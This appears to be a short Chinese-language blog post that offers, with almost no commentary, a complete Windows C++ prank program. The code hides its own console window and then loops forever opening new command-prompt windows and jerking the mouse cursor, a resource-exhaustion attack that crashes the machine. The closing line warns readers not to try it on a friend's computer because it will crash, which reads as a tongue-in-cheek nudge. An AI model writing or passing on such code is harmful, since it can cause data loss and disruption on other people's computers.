不啰嗦,直接上代码。
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
void HideWindow() {
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);
return;
}
int main() {
HideWindow();
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
for(;;)
{
system("start cmd");
for(int i=1;i<=100;i++)
{
SetCursorPos(rand()%y,rand()%x);
}
}
return 0;
}
最后提示一下,千万不要在你的朋友电脑上实验,会崩的。